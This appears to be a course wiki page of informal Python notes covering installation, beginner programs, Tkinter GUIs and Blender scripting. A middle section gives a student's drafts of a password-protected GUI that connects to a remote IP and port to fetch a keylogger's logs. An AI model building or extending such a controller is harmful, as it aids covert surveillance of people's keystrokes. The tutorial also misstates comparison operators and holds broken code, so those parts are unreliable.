~~TOC~~
CSCS 2850: Projects
Python Programming
Notes & Documentation
Concept Map the story @ 142,26,269,66 grammar @ 159,86,276,114 learning @ 172,131,274,168 and Blender @ 288,15,393,41 map
Small history:
Backus–Naur Form (BNF)?
Python is arguably one of the easier programming languages to master.
First, Visit http://www.python.org/download/
Once there, choose the installer of your liking. If you're taking this step, chances are pretty good that you're looking for the Windows Installer, since Python comes pre-installed on most Linux and Mac distributions.
At the time of writing, the most widely supported version of Python is 2.6.4.
Clicking the installer link at Python.org will present you with a prompt. Choose the option 'Save File'. You will then need to choose a directory where you would like to place the installer. Once the installer is downloaded, navigate to the folder where you placed the it and double click it. Click 'Run' when prompted.
Run the Installer:
** The Python installer has a button labeled 'Advanced' that will allow you to compile into byte code.
Choose your features and click 'Next' and wait while the installer does its magic. This may take several minutes ;)
After installation click your Windows Start button. If all went right, you should get the nifty “New Programs” pop-up message. Opening the expandable “All Programs” menu will reveal that Python is now in our list of things. When you select the newly minted “Python” folder, you'll find that Python comes with a few extras.
The 'Uninstall Python' link is self-explanatory. Clicking this will start the wizard that uninstalls Python.
The 'Module Docs' option opens pydoc, an integrated documentation client. Python comes with quite a bit of documentation, and pydoc is your gateway into this wealth of information. Specifically, pydoc provides information regarding the Python packages. Using pydoc from the Windows start menu will open small search box written in Python that aids navigation through the included documentation.
The Python Manuals are different from pydoc in that it provides more tutorials, API references, in depth docs on specific topics and other information regarding the Python language. The Python Manuals provide a local version of much of Python's online documentation.
The Python command line tool is just that, a command line for interpreting Python statements. The Python interpreter can be invoked from the Windows command line, however this link in the Start menu provides a nice shortcut that doesn't require the user to know where Python is installed.
IDLE is Pyhton's packaged integrated development environment. IDLE has a few nifty features such as auto indent and syntax highlighting, both of which are vital to quick and easy Python development.
Starting the Python interpreter on Windows is not quite as easy as with Unix, Linux, BSD or Mac OS. If you're using any of the Unix-y systems, simply type the word python
and your Python interpreter will appear (easy).
:~$ python Python 2.4.4 (#2, Jan 24 2010, 11:19:18) [GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>>
To stop your Python interpreter on Linux, type ctrl+d
From Windows however, you have to do a little more detective work to find the location of your interpreter. One prominent place where Widows keeps your Python interpreter is in your start up menu. The Python2.x folder within the start menu contains a helpful shortcut, from here, simply select Python (command line)
. The other option for opening Python on Windows is to use the Windows command line. If you're a student of computer science, this is likely your preferred method, however if you're a nubie, this might not seem as intuitive. To open Python using the windows command line, begin by opening the command from the Windows start menu and selecting the 'run' option. This will present you with a dialog box that expects input. Now, type cmd
. You should quickly see a new black box. That's your command line. their are two ways to access it with the first being the easier
C:\Documents and Settings\$USER>start python
With most flavors of Windows, you'll see something like the following: (where $USER is your user name on the system)
C:\Documents and Settings\$USER>
This is known as the prompt. The flashing cursor at the end of the line indicates that the shell is waiting for some input from the user. This input could even be the name of a program, such a python. However, since Windows doesn't automatically know where Python is (as it is not installed on most Windows systems out of the box), typing python here will get us nowhere.
C:\Documents and Settings\$USER> python 'python' not recognized as an internal or external command, operable program or batch file.
Didn't we just install it? Yes, but Windows just doesn't get the picture. Instead, navigate to the root of your C: drive (assuming Python is installed on your C: drive).
C:\Documents and Settings\$USER> cd \
You should notice that your prompt looks a bit different.
C:\>
Now, from the root directory type cd py
and TAB
. Did the word Python followed by a version number appear? If so, then you've found python. Click ENTER and then type the word python
. You should be rewarded with Python's version number and a few instructions. Congratulations, you've opened your Python interpreter.
C:\> cd Python26
C:\Python26> python Python 2.6.4 (r2.6.4.75708, October 26 2009 08:23:19) [MSC v.1500 32 bit (intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>>
To stop your Python interpreter on Windows, type ctrl+Z+ENTER
For those who haven't done python or have not grasp some knowledge of the programming language. Please read the follows:
To get started: First open your geany program and click new then click document then find python under file type. first type this…
##Python is easy to learn then press enter now this
print “cscs is cool” press enter again you should have this
##Python is easy to learn
print “cscs is cool!” which will output this
“cscs is cool!”
the reason “## python is easy to learn” didn't show up is because it was behind the comment tag and the “python is easy to learn” is not the important part the “##” is the tage put text behind it and when someone views the code they will know what each line means with the “##” in the program. the “print” puts any thing that's after print in “xxx” on the screen.
now you have praticed…. prepare to learn little more.
type as follows and try to understand what you have typed.
code:
## variables
press enter than type in
code:
print “Hello!”
enter again
code:
name = raw_input (“whats you name?”)
“name” is the variable it just hold information that the user of the program assigns to it, like your name but it could have just as easily been “n”. raw_input means the user inputs after the text. (“”) go around the text that asks for the name the text inside it is not important.
followed by
code:
print “hello,” ,name
“,name” is just the variable it prints the information assigned to the variable that is after the print command the text comes first or last depending on the place you want the variable.
or you could have put it like this
code:
print “hello” ,name ,“dark tempar”
save compile then run and see if it works.
I m just going to give you the code for the speed then I will explain it afterwards.
code:
a = 0 a = input ("input # of the month your in school: ") if a == 4: print "you are a noob with python" if a == 5: print "you May understand some python" if a > 5: print "you are elite with python" if a < 4: print "you are elite with python"
this is our next program it will tell you if it thinks your a noob/xpert with python, i think i spelled it wrong
if a == 4 4 is the month if is saying well if this is this or if this is not this then this does this. you must indent to have a working program every thing that needs if for it to work must have an indention form if but things that do not depend on if to work correctly must not be indented. a = 0 a starts out as 0 and when you input it changes b to that number. and that all you need to have this program to work
remember……it save what it remembered…for example you type in a=1 and type in a it will show “1” —- try it understand what it means….
code:
a = 0 print "press 1 for addition" print "press 2 for subtraction" print "press 3 for multiplication" print "press 4 for divsion" a = input ("operation:") if a == 1: n = input("Number: ") b = input("number: ") y = n + b print n, "+", b, "=", y if a == 2: n = input("Number: ") b = input("number: ") y = n - b print n, "-", b, "=", y if a == 3: n = input("Number: ") b = input("number: ") y = n * b print n, "*", b, "=", y if a == 4: n = input("Number: ") b = input("number: ") y = n / b print n, "/", b, "=", here is another one below code: print "Calculator 7.04" c = input ("number:") b = raw_input ("operation:") a = input ("number:") p = "-" r = "+" t = "*" y = "/" if b == y: print c, b, a, "=", c / a if b == t: print c, b, a, "=", a * c if b == r: print c, b, a, "=", a + c if b == p: print c, b, a, "=", a - c computer equalvlents (another spelling error) == means = to <= greater than or = to >= less than or = to != not = to < greater than > less than
The Tkinter module (“Tk interface”) is the standard Python interface to the Tk GUI toolkit from Scriptics (formerly developed by Sun Labs)
Tkinter includes a number of Python modules. The two most important modules are the Tkinter module itself and a module called Tkconstants. The former automatically imports the latter so to use Tkinter, all you need to do is to import one module
so lets start this off first off you need your import statement in python to have access to Tkinter Functions
from Tkinter import *
so here ill start off with the simple hello world program and then explain how it all works
from Tkinter import * mainWindow = Tk() w = Label(mainWindow, text="Hello, world!") w.pack() mainWindow.mainloop()
so ive explained the import lets move to the next line
(mainWindow = Tk()) - this is the root widget you must have one obviously.. its the main window
w = Label(mainWindow, text=“Hello, world!”) - here we are creating a child widget under the parent widget mainWindow we are just simply creating a label and using the text option to Create the text hello world
w.pack() - this tells our widget in this case the “w” widget our Hello world text to size itself and fit the given text and to display itself.
mainWindow.mainloop() - this gives controll over to Tkinter it starts the main loop this is when everything will actually happen you could say.. The event loop doesn't only handle events from the user (such as mouse clicks and key presses) or the windowing system (such as redraw events and window configuration messages) it also handle operations queued by Tkinter itself. Among these operations are geometry management (queued by the pack method) and display updates.
Here is code to generate two buttons One button will print hello to the console the other button will add a label in the root window (main window)
#import Tk from Tkinter import * #create a function that the buttonOne can call on def button1(): print "Hello on console" #create function for ButtonTwo to call on this one prints Label to window def button2(): w = Label(mainWindow, text = "Hello In Mainwindow", fg = "red") w.pack() #create main window mainWindow = Tk() #create button one. assign it to main window add text and add function to execute buttonOne = Button(mainWindow, text = "Print Console", command = button1) buttonOne.pack() buttonTwo = Button(mainWindow, text = "Print Window", command = button2) buttonTwo.pack() mainWindow.mainloop()
ok so as some of you may no ive been working on a keylogger.. ive actually been trying to construct the gui that would drive it heres my progress somthing to note im not trying to make it look all pretty yet as im just trying to sketch out the logic i have another version that has much more in it but i hit a brick wall with it..
from Tkinter import * import socket password = 'jon' def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack() getLogButton.pack() #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() pwdcheck = Toplevel() passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white') button = Button(pwdcheck, text = 'OK', command = pwdin) ent.focus() passtxt.pack() ent.pack() button.pack() #################################################### #here i am creating buttons for the root window # #they will not display untill the password is ture # #if you look at the if statement the buttons below # #get packed when the password is correct # #################################################### connectButton = Button(root, text = 'Connect', pady = 10) getLogButton = Button(root, text = 'Get Log', pady = 10) root.mainloop()
Here is a bit more to add to the LOGGER_GUI
from Tkinter import * import socket password = 'jon' def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack() getLogButton.pack() ##################################################### #added this function to get ip address and port from# #user to explain starting at line 1 # #create new window assign it to ipAddrWindow # #create text label so user knows what to do # #create entry for ip address # #text for port # #entry box for port # #create ok button giving it the command socket have # #not created this function yet # #pack everything so it shows up # ##################################################### def ip_grab(): ipAddrWindow = Toplevel() prompt = Label(ipAddrWindow, text = 'Enter IP Address') iptext = Entry(ipAddrWindow, bg = 'white') portpromt = Label(ipAddrWindow, text = 'Enter Port Number') porttext = Entry(ipAddrWindow, bg = 'white') okbut = Button(ipAddrWindow, text = "OK", command = socket) prompt.pack() iptext.pack() portpromt.pack() porttext.pack() okbut.pack() #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() pwdcheck = Toplevel() passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white') button = Button(pwdcheck, text = 'OK', command = pwdin) ent.focus() passtxt.pack() ent.pack() button.pack() connectButton = Button(root, text = 'Connect', pady = 10, command = ip_grab) getLogButton = Button(root, text = 'Get Log', pady = 10) root.mainloop()
here is another version with a bit more added the socket function now i just need to figure out how come the ip variable is being read as a string..
import socket from Tkinter import * password = 'jon' def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack() getLogButton.pack() ##################################################### #added this function to get ip address and port from# #user to explain starting at line 1 # #create new window assign it to ipAddrWindow # #create text label so user knows what to do # #create entry for ip address # #text for port # #entry box for port # #create ok button giving it the command socket have # #not created this function yet # #pack everything so it shows up # ##################################################### def ip_grab(): global iptext global porttext global ipAddrWindow ipAddrWindow = Toplevel() prompt = Label(ipAddrWindow, text = 'Enter IP Address') iptext = Entry(ipAddrWindow, bg = 'white') portpromt = Label(ipAddrWindow, text = 'Enter Port Number') porttext = Entry(ipAddrWindow, bg = 'white') okbut = Button(ipAddrWindow, text = "OK", command = socket) prompt.pack() iptext.pack() portpromt.pack() porttext.pack() okbut.pack() def socket(): import socket global ip, port, client_socket ip = iptext.get() port = porttext.get() ipAddrWindow.destroy() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ip, port)) #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() pwdcheck = Toplevel() passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white') button = Button(pwdcheck, text = 'OK', command = pwdin) ent.focus() passtxt.pack() ent.pack() button.pack() connectButton = Button(root, text = 'Connect', pady = 10, command = ip_grab) getLogButton = Button(root, text = 'Get Log', pady = 10) root.mainloop()
Ok so here is the same code.. ive come across some good points to mention first off
ok so here is the code will replace this version with a more commented version of same code shortly..
import socket from Tkinter import * password = 'jon' def errorWindowKill(error_window): error_window.destroy() def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' error_window = Toplevel() error_msg = Label(error_window, text = 'Incorrect', justify = "center", fg = "red", bg = "black") ok_button = Button(error_window, text = 'Ok', justify = "center", fg = "red", bg = "black", command = lambda : errorWindowKill(error_window)) error_msg.pack() ok_button.pack() else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack() getLogButton.pack() ##################################################### #added this function to get ip address and port from# #user to explain starting at line 1 # #create new window assign it to ipAddrWindow # #create text label so user knows what to do # #create entry for ip address # #text for port # #entry box for port # #create ok button giving it the command socket have # #not created this function yet # #pack everything so it shows up # ##################################################### def ip_grab(): global iptext global porttext global ipAddrWindow ipAddrWindow = Toplevel() prompt = Label(ipAddrWindow, text = 'Enter IP Address') iptext = Entry(ipAddrWindow, bg = 'white') portpromt = Label(ipAddrWindow, text = 'Enter Port Number') porttext = Entry(ipAddrWindow, bg = 'white') okbut = Button(ipAddrWindow, text = "OK", command = socket) prompt.pack() iptext.pack() portpromt.pack() porttext.pack() okbut.pack() def socket(): import socket global ip, port, client_socket ip = iptext.get() port = porttext.get() ipAddrWindow.destroy() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ip, int(port))) #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() root.title('Log') pwdcheck = Toplevel(bd = 10, takefocus =1, relief = 'ridge') pwdcheck.geometry("200x80+500+500") pwdcheck.resizable(width = 0, height = 0) passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white', show = '*', justify = CENTER) button = Button(pwdcheck, text = 'OK', command = pwdin, height = 10, width = 15) ent.focus() passtxt.pack() ent.pack() button.pack() connectButton = Button(root, text = 'Connect', pady = 10, command = ip_grab) getLogButton = Button(root, text = 'Get Log', pady = 10) root.mainloop()
Test Tomorrow through in the log_grab function dunno if it works yet will have to test tomorrow…
import socket from Tkinter import * password = 'jon' def errorWindowKill(error_window): error_window.destroy() def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' error_window = Toplevel(takefocus =1, relief = 'ridge') error_window.geometry("120x60+500+500") error_msg = Label(error_window, text = 'Incorrect', justify = "center", font = ("Times", 16,)) ok_button = Button(error_window, text = 'Ok', justify = "center",height = 1, width = 10, command = lambda : errorWindowKill(error_window)) error_msg.pack() ok_button.pack() else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack(side = "left") getLogButton.pack(side = "left") #connectButton.grid(row = 0, column = 0) #getLogButton.grid(row = 0, column = 1) ##################################################### #added this function to get ip address and port from# #user to explain starting at line 1 # #create new window assign it to ipAddrWindow # #create text label so user knows what to do # #create entry for ip address # #text for port # #entry box for port # #create ok button giving it the command socket have # #not created this function yet # #pack everything so it shows up # ##################################################### def ip_grab(): global iptext global porttext global ipAddrWindow ipAddrWindow = Toplevel() prompt = Label(ipAddrWindow, text = 'Enter IP Address') iptext = Entry(ipAddrWindow, bg = 'white') portpromt = Label(ipAddrWindow, text = 'Enter Port Number') porttext = Entry(ipAddrWindow, bg = 'white') okbut = Button(ipAddrWindow, text = "OK", command = socket) prompt.pack() iptext.pack() portpromt.pack() porttext.pack() okbut.pack() def socket(): import socket global ip, port, client_socket ip = iptext.get() port = porttext.get() ipAddrWindow.destroy() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ip, int(port))) def log_grab(): #filename = BUFSIZE = 1024 flag = 1 client_socket.send(flag) while flag == 1: data = client_socket.recv(BUFSIZE) if data: file = open(filename, "a") file.write(data) else: file.write(data) flag = 0 break file.close() #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() root.title('Log') pwdcheck = Toplevel(bd = 10, takefocus =1, relief = 'ridge') pwdcheck.geometry("200x80+500+500") pwdcheck.resizable(width = 0, height = 0) passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white', show = '*', justify = CENTER) button = Button(pwdcheck, text = 'OK', command = pwdin, height = 10, width = 15) ent.focus() passtxt.pack() ent.pack() button.pack() connectButton = Button(root, text = 'Connect', pady = 10, padx = 10, command = ip_grab) getLogButton = Button(root, text = 'Get Log', pady = 10, padx = 10, command = log_grab) root.mainloop()
While reading some things on blender/python i stumbled across some neat things
-getting into the interpreter in blender -Imports -simple commands to start you must have blender installed.. open blender and click the “windows view” button im guessing its called bottom left corner. From their you should see options like “3D View”, “Button Window”, “Scripts”, “Text”, ETC. Normally ive been going to the text button and creating new files their and running them but i found a way to access the interpreter directly.. so click the scripts button and you will see a white window from their hit the scripts»system»interactive python console
IMPORTS ok so mine automatically did this for me but to be safe ill add it in you must first start off in your console with these import statements
Import Blender #you can find reference to the blender module at the #bottom of post.
Import bpy #bpy is an experimental version of blender #supposed to replace the blender module someday
#my interpreter also loads from Blender import * #witch im unsure as of why as ive already imported Blender.. i dont have to #type blender.get() now though instead just get()
Simple Things
#first command list(bpy.data.objects)
#with no changes to blender like adding a new object after you started then #you should see the following output
#Object "Camera"], [Object "Cube"], [Object "Lamp" #the first thing “List” is a function used to loop through “bpy.data” #bpy means to use a function from the bpy module in this case “data” function and “objects” calls upon your objects sub module of bpy.data
OK so now we can list all the objects Lets store them to Variables
camera = bpy.data.objects[“Camera”] #stores object Camera to variable cube = bpy.data.objects[“Cube”] lamp = bpy.data.objects[“Lamp”]
#so now you can type print camera #output [Object “Camera”] #ive also tried pythons dir() out on it #from looking at it their are alot of functions inside of it #not really sure on all of this yet! #take a look and let me know if you do! #save me some reading #anyway that would look something like this dir(camera)
#moving on cube.type #will give you the type of the object in this case a cube is considered a mesh object
#get more information about the cube mesh mesh = cube.getData(mesh=1) #list functions and properties dir(mesh)
that will give you a start im going to keep messing around with it and ill keep adding to post “BLENDER” “bpy”
Did some more reading as far as blender python go got a few little enhancements
import Blender import bpy #put object in variable in this case the default Cube cube = bpy.data.objects["Cube"] #move the cube cube.LocX += 2 #can use X, Y, or Z Loc is Location #Rotate the cube cube.RotX += 2 #again you can use X, Y, or Z Rot stands for Rotation
So for example rotate the cube in a loop
import Blender import bpy c = bpy.data.objects["Cube"] while True: c.RotX += 2 Blender.Redraw()
This will make the cube keep rotating forever.. this would be pretty neat and handy to people that were trying to render planets and such things being able to rotate objects and then move their locations to certain positions